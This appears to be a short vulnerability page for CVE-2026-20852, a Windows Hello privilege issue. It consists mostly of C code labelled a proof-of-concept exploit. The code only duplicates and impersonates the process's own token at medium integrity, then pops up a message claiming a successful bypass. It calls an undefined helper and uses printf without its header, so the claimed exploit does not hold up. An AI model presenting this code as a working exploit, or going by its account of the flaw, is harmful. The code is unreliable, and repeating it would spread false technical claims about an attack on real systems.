CVE-2026-20852: Windows Hello 本地特权提升/篡改漏洞

// CVE-2026-20852 PoC Concept - Windows Hello Privilege Assignment Bypass // Note: This is a conceptual PoC for educational purposes only // Actual exploitation requires specific Windows version and configuration #include <windows.h> #include <securitybaseapi.h> #include <userenv.h> /* * Vulnerability: Incorrect Privilege Assignment in Windows Hello * CVSS: 3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N * * The vulnerability allows local attackers to perform tampering * by exploiting privilege assignment issues in Windows Hello authentication. */ BOOL ExploitWindowsHelloBypass() { HANDLE hToken = NULL; HANDLE hNewToken = NULL; PSID pIntegritySid = NULL; TOKEN_MANDATORY_LABEL TIL = {0}; // Step 1: Open the current process token if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { return FALSE; } // Step 2: Duplicate the token if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { CloseHandle(hToken); return FALSE; } // Step 3: Create a medium integrity SID (bypass integrity level check) pIntegritySid = AllocateAndInitializeIntegritySid( SECURITY_MANDATORY_MEDIUM_RID ); if (pIntegritySid) { TIL.Label.Attributes = SE_GROUP_INTEGRITY; TIL.Label.Sid = pIntegritySid; // Step 4: Set the new token integrity level SetTokenInformation(hNewToken, TokenIntegrityLevel, &TIL, sizeof(TIL) + GetLengthSid(pIntegritySid)); } // Step 5: Impersonate and access Windows Hello protected resources if (ImpersonateLoggedOnUser(hNewToken)) { // At this point, attacker has bypassed Windows Hello privilege checks // Can perform tampering operations MessageBox(NULL, "Windows Hello Privilege Bypass Successful\n" "Attacker can now perform unauthorized operations", "PoC", MB_OK); RevertToSelf(); } // Cleanup if (pIntegritySid) FreeSid(pIntegritySid); CloseHandle(hNewToken); CloseHandle(hToken); return TRUE; } int main() { printf("CVE-2026-20852 - Windows Hello Privilege Assignment Bypass\n"); printf("CVSS: 7.7 (HIGH)\n"); ExploitWindowsHelloBypass(); return 0; }